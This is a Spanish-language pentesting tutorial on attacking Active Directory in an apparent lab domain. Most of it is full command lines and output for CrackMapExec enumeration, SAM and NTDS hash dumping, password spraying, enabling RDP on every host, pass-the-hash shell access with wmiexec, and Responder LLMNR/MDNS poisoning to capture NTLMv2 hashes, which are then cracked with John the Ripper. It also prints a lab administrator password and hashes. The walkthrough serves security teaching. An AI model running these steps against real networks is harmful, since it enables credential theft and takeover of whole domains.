Inicio Pentesting Active Directory
Entrada
Cancelar

Pentesting Active Directory

TITULO!

Esta vez, vamos a explorar diversas estrategias, enfoques y metodologías más comunes y efectivas para llevar a cabo pruebas de penetración en entornos de Active Directory. ¡Comencemos!

¿Qué es Active Directory?

Active Directory (AD) es un servicio de directorio desarrollado por Microsoft que actúa como un sistema centralizado para administrar y organizar recursos en una red. Funciona como una base de datos jerárquica que almacena información sobre usuarios, grupos, dispositivos y recursos en una red, permitiendo un acceso y una administración eficiente de los recursos.

Su importancia a nivel empresarial radica en que proporciona una estructura organizativa para la gestión de usuarios y recursos de TI. Permite a las organizaciones establecer políticas de seguridad, asignar permisos y derechos de acceso, y gestionar de manera centralizada la autenticación y autorización en toda la red. Además, facilita la administración de sistemas, la implementación de políticas de grupo y la gestión de software a través de la red, lo que ahorra tiempo y recursos en entornos empresariales de cualquier tamaño.

¿Qué vamos a ver en este post?

⧫ Crackmapexec enumeration
⧫ SMB Relay
⧫ Pass The Hash
⧫ Consiguiendo información de los usuarios
⧫ LDAP Enumeration
⧫ Kerbrute
⧫ Kerberoasting
⧫ AS-REP Roast
⧫ Golden Ticket
⧫ Rubeus - Kerberoasting
⧫ Rubeus - AS-REP Roast
⧫ SCF Files
⧫ Bloodhound & neo4j

CrackMapExec Enumeration


CME!

Esta es la herramienta más utilizada para el pentesting en Active Directory, ya que enumera los servicios más comunes. A pesar de esto, es bastante sencilla de usar. Veamos que podemos realizar con esta navaja suiza:

SMB Enumeration


SMB es un protocolo utilizado por sistemas Windows para compartir archivos e impresoras, así como para otras funciones. Es una parte esencial de muchas redes y uno de los servicios más comunes que se ejecutan. Existen varias herramientas para enumerar SMB, como smbclient o smbmap. Pero crackmapexec es mi favorita por muchas razones. Hablemos de ellas:

Network information


Utilizar crackmapexec de la manera más sencilla puede proporcionarte información como el dominio del Controlador de Dominio (DC), la firma SMB (la cual comprobaremos en el SMB Relay) o el nombre del host.

1
2
3
4
❯ cme smb 192.168.10.1/24
SMB         192.168.10.110   445    W1-PC        [*] Windows 10.0 Build 19041 x64 (name:W1-PC) (domain:waidroc.local) (signing:False) (SMBv1:False)
SMB         192.168.10.115   445    W2-PC  [*] Windows 10.0 Build 17763 x64 (name:W2-PC) (domain:waidroc.local) (signing:True) (SMBv1:False)
SMB         192.168.10.120   445    W3-PC        [*] Windows 10.0 Build 19041 x64 (name:W3-PC) (domain:waidroc.local) (signing:False) (SMBv1:False)

De esta forma, podríamos ver los hosts con Windows que están conectados a la red. Podemos ver que el Controlador de Dominio (192.168.10.115) tiene la firma SMB, pero eso no importa si los otros PCs conectados al Controlador de Dominio no tienen la misma firma.

Dumping SAM


Si sabemos las credenciales de uno de los usuarios del sistema, podemos dumpear el fichero SAM, el cual contiene las contraseñas en forma de hash (NTLM) de las cuentas de usuario locales.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ cme smb 192.168.10.1/24 -u usuario -p 'Password2' --sam
SMB         192.168.10.115   445    W2-PC  [*] Windows 10.0 Build 17763 x64 (name:W2-PC) (domain:waidroc.local) (signing:True) (SMBv1:False)
SMB         192.168.10.110   445    W1-PC        [*] Windows 10.0 Build 19041 x64 (name:W1-PC) (domain:waidroc.local) (signing:False) (SMBv1:False)
SMB         192.168.10.115   445    W2-PC  [+] waidroc.local\usuario:Password2 
SMB         192.168.10.110   445    W1-PC        [+] waidroc.local\usuario:Password2 
SMB         192.168.10.120   445    W3-PC        [*] Windows 10.0 Build 19041 x64 (name:W3-PC) (domain:waidroc.local) (signing:False) (SMBv1:False)
SMB         192.168.10.120   445    W3-PC        [+] waidroc.local\usuario:Password2 (Pwn3d!)
SMB         192.168.10.120   445    W3-PC        [+] Dumping SAM hashes
SMB         192.168.10.120   445    W3-PC        Administrador:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         192.168.10.120   445    W3-PC        Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         192.168.10.120   445    W3-PC        DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         192.168.10.120   445    W3-PC        WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:7b75aeef3ea91facb4cd29e7da7832d9:::
SMB         192.168.10.120   445    W3-PC        Cordy:1001:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
SMB         192.168.10.120   445    W3-PC        [+] Added 5 SAM hashes to the database

Aquí podemos observar que al saber la contraseña de usuario, podemos ver y dumpear el fichero SAM del host W3-PC, obteniendo los hashes de sus cuentas de usuario local. Ahora, si esas contraseñas son “flojas” y pueden obtenerse fácilmente con un ataque de fuerza bruta o de diccionario, nos podríamos hacer con el control total del sistema.

Share Enumeration


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
❯ cme smb 192.168.10.1/24 -u cordy -p 'Password1' --shares
SMB         192.168.10.115   445    W2-PC  [*] Windows 10.0 Build 17763 x64 (name:W2-PC) (domain:waidroc.local) (signing:True) (SMBv1:False)
SMB         192.168.10.110   445    W1-PC        [*] Windows 10.0 Build 19041 x64 (name:W1-PC) (domain:waidroc.local) (signing:False) (SMBv1:False)
SMB         192.168.10.115   445    W2-PC  [+] waidroc.local\cordy:Password1 
SMB         192.168.10.110   445    W1-PC        [+] waidroc.local\cordy:Password1 
SMB         192.168.10.110   445    W1-PC        [+] Enumerated shares
SMB         192.168.10.110   445    W1-PC        Share           Permissions     Remark
SMB         192.168.10.110   445    W1-PC        -----           -----------     ------
SMB         192.168.10.110   445    W1-PC        ADMIN$                          Admin remota
SMB         192.168.10.110   445    W1-PC        C$                              Recurso predeterminado
SMB         192.168.10.110   445    W1-PC        IPC$            READ            IPC remota
SMB         192.168.10.120   445    W3-PC        [*] Windows 10.0 Build 19041 x64 (name:W3-PC) (domain:waidroc.local) (signing:False) (SMBv1:False)
SMB         192.168.10.115   445    W2-PC  [+] Enumerated shares
SMB         192.168.10.120   445    W3-PC        [+] waidroc.local\cordy:Password1 
SMB         192.168.10.115   445    W2-PC  Share           Permissions     Remark
SMB         192.168.10.115   445    W2-PC  -----           -----------     ------
SMB         192.168.10.115   445    W2-PC  ADMIN$                          Remote Admin
SMB         192.168.10.115   445    W2-PC  C$                              Default share
SMB         192.168.10.115   445    W2-PC  IPC$            READ            Remote IPC
SMB         192.168.10.115   445    W2-PC  NETLOGON        READ            Logon server share 
SMB         192.168.10.115   445    W2-PC  SYSVOL          READ            Logon server share 
SMB         192.168.10.120   445    W3-PC        [+] Enumerated shares
SMB         192.168.10.120   445    W3-PC        Share           Permissions     Remark
SMB         192.168.10.120   445    W3-PC        -----           -----------     ------
SMB         192.168.10.120   445    W3-PC        ADMIN$                          Admin remota
SMB         192.168.10.120   445    W3-PC        C$                              Recurso predeterminado
SMB         192.168.10.120   445    W3-PC        IPC$            READ            IPC remota
                                                                                                                                                                                                                                
❯ cme smb 192.168.0.1/24 -u usuario -p 'Password2' --shares
SMB         192.168.10.115   445    W2-PC  [*] Windows 10.0 Build 17763 x64 (name:W2-PC) (domain:waidroc.local) (signing:True) (SMBv1:False)
SMB         192.168.10.110   445    W1-PC        [*] Windows 10.0 Build 19041 x64 (name:W1-PC) (domain:waidroc.local) (signing:False) (SMBv1:False)
SMB         192.168.10.115   445    W2-PC  [+] waidroc.local\usuario:Password2 
SMB         192.168.10.110   445    W1-PC        [+] waidroc.local\usuario:Password2 
SMB         192.168.10.110   445    W1-PC        [+] Enumerated shares
SMB         192.168.10.110   445    W1-PC        Share           Permissions     Remark
SMB         192.168.10.110   445    W1-PC        -----           -----------     ------
SMB         192.168.10.110   445    W1-PC        ADMIN$                          Admin remota
SMB         192.168.10.110   445    W1-PC        C$                              Recurso predeterminado
SMB         192.168.10.110   445    W1-PC        IPC$            READ            IPC remota
SMB         192.168.10.120   445    W3-PC        [*] Windows 10.0 Build 19041 x64 (name:W3-PC) (domain:waidroc.local) (signing:False) (SMBv1:False)
SMB         192.168.10.115   445    W2-PC  [+] Enumerated shares
SMB         192.168.10.115   445    W2-PC  Share           Permissions     Remark
SMB         192.168.10.115   445    W2-PC  -----           -----------     ------
SMB         192.168.10.115   445    W2-PC  ADMIN$                          Remote Admin
SMB         192.168.10.115   445    W2-PC  C$                              Default share
SMB         192.168.10.115   445    W2-PC  IPC$            READ            Remote IPC
SMB         192.168.10.115   445    W2-PC  NETLOGON        READ            Logon server share 
SMB         192.168.10.115   445    W2-PC  SYSVOL          READ            Logon server share 
SMB         192.168.10.120   445    W3-PC        [+] waidroc.local\usuario:Password2 (Pwn3d!)
SMB         192.168.10.120   445    W3-PC        [+] Enumerated shares
SMB         192.168.10.120   445    W3-PC        Share           Permissions     Remark
SMB         192.168.10.120   445    W3-PC        -----           -----------     ------
SMB         192.168.10.120   445    W3-PC        ADMIN$          READ,WRITE      Admin remota
SMB         192.168.10.120   445    W3-PC        C$              READ,WRITE      Recurso predeterminado
SMB         192.168.10.120   445    W3-PC        IPC$            READ            IPC remota

De nuevo, podemos observar de nuevo que el usuario usuario tiene permisos de administrador sobre el usuario cordy. Esta salida nos muestra el tipo de permisos sobre los recursos compartidos (si los hay).

Spidering


Una de las opciones más importantes que nos brinda cme es un módulo llamado spider_plus, ya que explora todos los recursos compartidos y directorios que hay en su interior de manera recursiva, proporcionándonos así un resultado ordenado y muy visual, mostrándonos todos los ficheros visibles en cada recurso compartido.

Este módulo nos agiliza y facilita la tarea, ya que no tenemos que acceder a cada uno de los recursos compartidos para enumerar todos los directoriso y ficheros que contienen manualmente. Veamos un ejemplo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ cme smb 192.168.0.1/24 -u usuario -p 'Password2' -M spider_plus
SMB         192.168.10.110   445    W1-PC        [*] Windows 10.0 Build 19041 x64 (name:W1-PC) (domain:waidroc.local) (signing:False) (SMBv1:False)
SMB         192.168.10.120   445    W3-PC        [*] Windows 10.0 Build 19041 x64 (name:W3-PC) (domain:waidroc.local) (signing:False) (SMBv1:False)
SMB         192.168.10.115   445    W2-PC  [*] Windows 10.0 Build 17763 x64 (name:W2-PC) (domain:waidroc.local) (signing:True) (SMBv1:False)
SMB         192.168.10.110   445    W1-PC        [+] waidroc.local\usuario:Password2 
SPIDER_P... 192.168.10.110   445    W1-PC        [*] Started spidering plus with option:
SPIDER_P... 192.168.10.110   445    W1-PC        [*]        DIR: ['print$']
SPIDER_P... 192.168.10.110   445    W1-PC        [*]        EXT: ['ico', 'lnk']
SPIDER_P... 192.168.10.110   445    W1-PC        [*]       SIZE: 51200
SPIDER_P... 192.168.10.110   445    W1-PC        [*]     OUTPUT: /tmp/cme_spider_plus
SMB         192.168.10.120   445    W3-PC        [+] waidroc.local\usuario:Password2 (Pwn3d!)
SPIDER_P... 192.168.10.120   445    W3-PC        [*] Started spidering plus with option:
SPIDER_P... 192.168.10.120   445    W3-PC        [*]        DIR: ['print$']
SPIDER_P... 192.168.10.120   445    W3-PC        [*]        EXT: ['ico', 'lnk']
SPIDER_P... 192.168.10.120   445    W3-PC        [*]       SIZE: 51200
SPIDER_P... 192.168.10.120   445    W3-PC        [*]     OUTPUT: /tmp/cme_spider_plus
SMB         192.168.10.115   445    W2-PC  [+] waidroc.local\usuario:Password2 
SPIDER_P... 192.168.10.115   445    W2-PC  [*] Started spidering plus with option:
SPIDER_P... 192.168.10.115   445    W2-PC  [*]        DIR: ['print$']
SPIDER_P... 192.168.10.115   445    W2-PC  [*]        EXT: ['ico', 'lnk']
SPIDER_P... 192.168.10.115   445    W2-PC  [*]       SIZE: 51200
SPIDER_P... 192.168.10.115   445    W2-PC  [*]     OUTPUT: /tmp/cme_spider_plus

Authentication Sprying


Ahora, imaginemos que tenemos la credencial del usuario Administrator, el cual es el administrador del dominio. Lo hemos obtenido con un ataque SMB Relay. Pues, con crackmapexec, podríamos realizar un ataque de password spraying para ver en qué sistemas puedes conectarte. Veamos:

1
2
3
4
5
6
7
❯ cme smb 192.168.0.1/24 -u Administrator -p 'P4$$W0rd!!!#'
SMB         192.168.10.110   445    W1-PC        [*] Windows 10.0 Build 19041 x64 (name:W1-PC) (domain:waidroc.local) (signing:False) (SMBv1:False)
SMB         192.168.10.115   445    W2-PC  [*] Windows 10.0 Build 17763 x64 (name:W2-PC) (domain:waidroc.local) (signing:True) (SMBv1:False)
SMB         192.168.10.110   445    W1-PC        [+] waidroc.local\Administrator:P4$$W0rd!!!# (Pwn3d!)
SMB         192.168.10.115   445    W2-PC  [+] waidroc.local\Administrator:P4$$W0rd!!!# (Pwn3d!)
SMB         192.168.10.120   445    W3-PC        [*] Windows 10.0 Build 19041 x64 (name:W3-PC) (domain:waidroc.local) (signing:False) (SMBv1:False)
SMB         192.168.10.120   445    W3-PC        [+] waidroc.local\Administrator:P4$$W0rd!!!# (Pwn3d!)

En este caso, al ser administradores del DC, nos podemos conectar a todos y cada uno de los hosts que hay en la red. Ahora, podríamos habilitar el protocolo rdp en todos los sistemas para podernos conectar a ellos vía pth-winexe:

1
2
3
4
5
6
7
8
9
10
❯ cme smb 192.168.0.1/24 -u Administrator -p 'P4$$W0rd!!!#' -M rdp -o action=enable
SMB         192.168.10.110   445    W1-PC        [*] Windows 10.0 Build 19041 x64 (name:W1-PC) (domain:waidroc.local) (signing:False) (SMBv1:False)
SMB         192.168.10.120   445    W3-PC        [*] Windows 10.0 Build 19041 x64 (name:W3-PC) (domain:waidroc.local) (signing:False) (SMBv1:False)
SMB         192.168.10.115   445    W2-PC  [*] Windows 10.0 Build 17763 x64 (name:W2-PC) (domain:waidroc.local) (signing:True) (SMBv1:False)
SMB         192.168.10.110   445    W1-PC        [+] waidroc.local\Administrator:P4$$W0rd!!!# (Pwn3d!)
SMB         192.168.10.120   445    W3-PC        [+] waidroc.local\Administrator:P4$$W0rd!!!# (Pwn3d!)
SMB         192.168.10.115   445    W2-PC  [+] waidroc.local\Administrator:P4$$W0rd!!!# (Pwn3d!)
RDP         192.168.10.110   445    W1-PC        [+] RDP enabled successfully
RDP         192.168.10.120   445    W3-PC        [+] RDP enabled successfully
RDP         192.168.10.115   445    W2-PC  [+] RDP enabled successfully

Pass The Hash


Ahora, podemos volcar el fichero NTDS y obtener el hash. Nuestra víctima será el usuario usuario:

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ cme smb 192.168.10.115 -u Administrator -p 'P4$$W0rd!!!#' --ntds vss
SMB         192.168.10.115   445    W2-PC  [*] Windows 10.0 Build 17763 x64 (name:W2-PC) (domain:waidroc.local) (signing:True) (SMBv1:False)
SMB         192.168.10.115   445    W2-PC  [+] waidroc.local\Administrator:P4$$W0rd!!!# (Pwn3d!)
SMB         192.168.10.115   445    W2-PC  [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         192.168.10.115   445    W2-PC  Administrator:500:aad3b435b51404eeaad3b435b51404ee:920ae267e048417fcfe00f49ecbd4b33:::
SMB         192.168.10.115   445    W2-PC  Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         192.168.10.115   445    W2-PC  W2-PC$:1000:aad3b435b51404eeaad3b435b51404ee:4054f61d8984e3d043fe140d9a78fea2:::
SMB         192.168.10.115   445    W2-PC  krbtgt:502:aad3b435b51404eeaad3b435b51404ee:acf2d0133c0db165efbca5b44072e10a:::
SMB         192.168.10.115   445    W2-PC  waidroc.local\cordy:1103:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
SMB         192.168.10.115   445    W2-PC  W3-PC$:1104:aad3b435b51404eeaad3b435b51404ee:ab1687ba2fe14303e8a2db5d154f7aa8:::
SMB         192.168.10.115   445    W2-PC  waidroc.local\usuario:1106:aad3b435b51404eeaad3b435b51404ee:c39f2beb3d2ec06a62cb887fb391dee0:::
SMB         192.168.10.115   445    W2-PC  W1-PC$:1107:aad3b435b51404eeaad3b435b51404ee:5b8bfc212d142cedbcd2edcb5937a38a:::
SMB         192.168.10.115   445    W2-PC  [+] Dumped 8 NTDS hashes to /root/.cme/logs/W2-PC_192.168.10.115_2023-05-25_164328.ntds of which 5 were added to the database

De esta forma, podemos obtener el hash del usuario víctima y conectarnos al host con wmiexec:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
❯ wmiexec.py waidroc.local/usuario@192.168.10.120 -hashes aad3b435b51404eeaad3b435b51404ee:c39f2beb3d2ec06a62cb887fb391dee0
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
waidroc\usuario
C:\>ipconfig
[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute wmiexec.py again with -codec and the corresponding codec

Configuraci�n IP de Windows


Adaptador de Ethernet Ethernet:

   Sufijo DNS espec�fico para la conexi�n. . : 
   V�nculo: direcci�n IPv6 local. . . : fe80::7024:cc60:3dde:1db6%8
   Direcci�n IPv4. . . . . . . . . . . . . . : 192.168.10.120
   M�scara de subred . . . . . . . . . . . . : 255.255.255.0
   Puerta de enlace predeterminada . . . . . : 192.168.10.1

De esta forma, estaremos ejecutando comandos como usuario en el host W3-PC, con privilegios de administrador.

SMB Relay


SMBR!

Este es el ataque más común y a su vez, el primero que debemos de ejecutar cuando estamos haciendo una auditoría al Controlador de Dominio.

¿Qué es un ataque SMB Relay?

Un ataque SMB Relay lo realizamos cuando nosotros, como atacantes, capturamos un hash NTLMv2 de algún usuario y así poder interceptar y redirigir solicitudes de autenticación SMB de un host a otro, aprovechando así las funcionalidades de confianza mutua en redes locales.

Así, engañamos a una máquina víctima para que envíe sus credenciales de autenticación al atacante, en lugar de al servidor o recurso legítimo para así, poder utilizar posteriormente esas credenciales para acceder a sistemas o recursos a los que la víctima tenía acceso, consiguiendo una escalada de privilegios a nivel de red.

Prerrequisitos

  • SMB no firmado.
  • Debe de realizarse en una red local.
  • Las credenciales de usuario deben tener acceso de inicio de sesión remoto, por ejemplo, ser administrador local en la máquina objetivo o ser miembro del grupo de Administradores del Dominio.

SMB Signing


¿Qué hace?


La firma del SMB, verifica el origen y la autenticidad de los paquetes SMB. Efectivamente, esto cancela todo tipo de ataque MITM, como el ataque SMB relay desde su inicio. Si está activado no podremos realizar el ataque.

Podemos comprobar si este servicio esta activado con cme.

Prueba de Concepto (PoC)


1
2
3
4
❯ cme smb 192.168.0.1/24
SMB         192.168.0.114   445    WIN-23Q9AFM8V9R  [*] Windows 10.0 Build 17763 x64 (name:WIN-23Q9AFM8V9R) (domain:test.local) (signing:True) (SMBv1:False)
SMB         192.168.10.115   445    W2-PC  [*] Windows 10.0 Build 17763 x64 (name:W2-PC) (domain:waidroc.local) (signing:True) (SMBv1:False)
SMB         192.168.10.120   445    W3-PC        [*] Windows 10.0 Build 19041 x64 (name:W3-PC) (domain:waidroc.local) (signing:False) (SMBv1:False)

Aquí podemos ver que tenemos 2 DCs:

  • test.local (192.168.0.114)
  • waidroc.local (192.168.10.115)

En ambos casos, SMB no esta firmado, por consecuente, podríamos realizar el ataque sin problemas:

Primero, con la herramienta responder, envenenamos la red:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
❯ responder -I wlan0 -dw
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.3.0

  To support this project:
  Patreon -> https://www.patreon.com/PythonResponder
  Paypal  -> https://paypal.me/PythonResponder

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [ON]

[+] Servers:
    HTTP server                [OFF]
    HTTPS server               [ON]
    WPAD proxy                 [ON]
    Auth proxy                 [OFF]
    SMB server                 [OFF]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Force ESS downgrade        [OFF]

[+] Generic Options:
    Responder NIC              [wlan0]
    Responder IP               [192.168.10.105]
    Responder IPv6             [fe80::1726:b490:48e1:fe89]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP']

[+] Current Session Variables:
    Responder Machine Name     [WIN-NDF5GOK02C8]
    Responder Domain Name      [97ZB.LOCAL]
    Responder DCE-RPC Port     [45364]

[+] Listening for events...

[*] [DHCP] Found DHCP server IP: 192.168.10.1, now waiting for incoming requests...

Ahora, si ingresaramos a un recurso que no existe en el Explorador de Archivos de Windows, tu responder autenticaría como el recurso inexistente:

Si accedemos a un recurso que no existe en el Explorador de Archivos de Windows, nuestro responder autenticaría como el recurso inexistente.

En la máquina Windows, parece que no habría pasado nada pero si echamos un vistazo en el responder:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
❯ responder -I wlan0 -dw
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.3.0

  To support this project:
  Patreon -> https://www.patreon.com/PythonResponder
  Paypal  -> https://paypal.me/PythonResponder

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [ON]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [ON]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Force ESS downgrade        [OFF]

[+] Generic Options:
    Responder NIC              [wlan0]
    Responder IP               [192.168.10.105]
    Responder IPv6             [fe80::1726:b490:48e1:fe89]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP']

[+] Current Session Variables:
    Responder Machine Name     [WIN-WGLRX6KFSXA]
    Responder Domain Name      [72XV.LOCAL]
    Responder DCE-RPC Port     [46997]

[+] Listening for events...

[*] [DHCP] Found DHCP server IP: 192.168.10.1, now waiting for incoming requests...
[*] [MDNS] Poisoned answer sent to 192.168.10.114   for name thisisnotexisting.local
[*] [MDNS] Poisoned answer sent to fe80::43b2:5355:d026:2e2a for name thisisnotexisting.local
[*] [MDNS] Poisoned answer sent to 192.168.10.114   for name thisisnotexisting.local
[*] [MDNS] Poisoned answer sent to fe80::43b2:5355:d026:2e2a for name thisisnotexisting.local
[*] [LLMNR]  Poisoned answer sent to 192.168.10.114 for name thisisnotexisting
[*] [LLMNR]  Poisoned answer sent to fe80::43b2:5355:d026:2e2a for name thisisnotexisting
[*] [LLMNR]  Poisoned answer sent to fe80::43b2:5355:d026:2e2a for name thisisnotexisting
[*] [LLMNR]  Poisoned answer sent to 192.168.10.114 for name thisisnotexisting
[SMB] NTLMv2-SSP Client   : fe80::43b2:5355:d026:2e2a
[SMB] NTLMv2-SSP Username : TEST\Administrator
[SMB] NTLMv2-SSP Hash     : Administrator::TEST:3fabd80df2a798d1:5CFA7A9518D439D72DE93334446B0E78:01010000000000008096715AB98DD9019F2CE73B69622AA20000000002000800370032005800560001001E00570049004E002D00570047004C005200580036004B00460053005800410004003400570049004E002D00570047004C005200580036004B0046005300580041002E0037003200580056002E004C004F00430041004C000300140037003200580056002E004C004F00430041004C000500140037003200580056002E004C004F00430041004C00070008008096715AB98DD9010600040002000000080030003000000000000000000000000030000058EB90B87185FC51DDCBC7261E23DCE94E13E0B5FC10237908F6DD837C13582E0A0010000000000000000000000000000000000009002C0063006900660073002F007400680069007300690073006E006F0074006500780069007300740069006E0067000000000000000000

Hemos capturado el hash NTLMv2 del usuario Administrator!! Ahora, podemos intentar crackear dicho hash pero, en este caso, no podríamos porque es una contraseña segura que tardaríamos años en desencriptar.

Ahora, hacemos el mismo proceso, pero hagámoslo en nuestro entorno de pruebas, donde capturaremos un hash menos seguro, fácilmente crackeable por fuerza bruta. Repetimos el proceso y observamos el responder:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
❯ responder -I wlan0 -v
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.3.0

  To support this project:
  Patreon -> https://www.patreon.com/PythonResponder
  Paypal  -> https://paypal.me/PythonResponder

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Force ESS downgrade        [OFF]

[+] Generic Options:
    Responder NIC              [wlan0]
    Responder IP               [192.168.10.105]
    Responder IPv6             [fe80::1726:b490:48e1:fe89]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP']

[+] Current Session Variables:
    Responder Machine Name     [WIN-G98QVZWMZJ4]
    Responder Domain Name      [3R0S.LOCAL]
    Responder DCE-RPC Port     [48530]

[+] Listening for events...

[*] [MDNS] Poisoned answer sent to 192.168.10.115   for name waidrocagphqpwerug.local
[*] [MDNS] Poisoned answer sent to 192.168.10.115   for name waidrocagphqpwerug.local
[*] [LLMNR]  Poisoned answer sent to 192.168.10.115 for name waidrocagphqpwerug
[*] [LLMNR]  Poisoned answer sent to 192.168.10.115 for name waidrocagphqpwerug
[SMB] NTLMv2-SSP Client   : fe80::1e2e:ac4a:2102:569f
[SMB] NTLMv2-SSP Username : waidroc\Administrator
[SMB] NTLMv2-SSP Hash     : Administrator::waidroc:84cc9122d9316c48:9D34FF6B29164B3E2A9E9ADE37D10914:010100000000000080D0D28C598ED90141B5EB01668B658C0000000002000800330052003000530001001E00570049004E002D00470039003800510056005A0057004D005A004A00340004003400570049004E002D00470039003800510056005A0057004D005A004A0034002E0033005200300053002E004C004F00430041004C000300140033005200300053002E004C004F00430041004C000500140033005200300053002E004C004F00430041004C000700080080D0D28C598ED901060004000200000008003000300000000000000000000000003000003A4DD9718188490BDF219D7B66290306551A69F6C9A7CFF2C5832C8EAFB0C9040A001000000000000000000000000000000000000900300063006900660073002F0072007500790063007200340066007400610067007000680071007000770065007200750067000000000000000000

Podemos ver que Administrator se ha autenticado en el dominio waidroc.local. Guardemos el hash e intentémos crackearlo con la herramienta john the ripper!

1
2
3
4
5
6
7
8
9
❯ john -w:/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
P4$$W0rd!!!#        (Administrator)     
1g 0:00:00:11 DONE (2023-05-24 16:07) 0.08547g/s 919849p/s 919849c/s 919849C/s PAK2530..P1nkr1ng
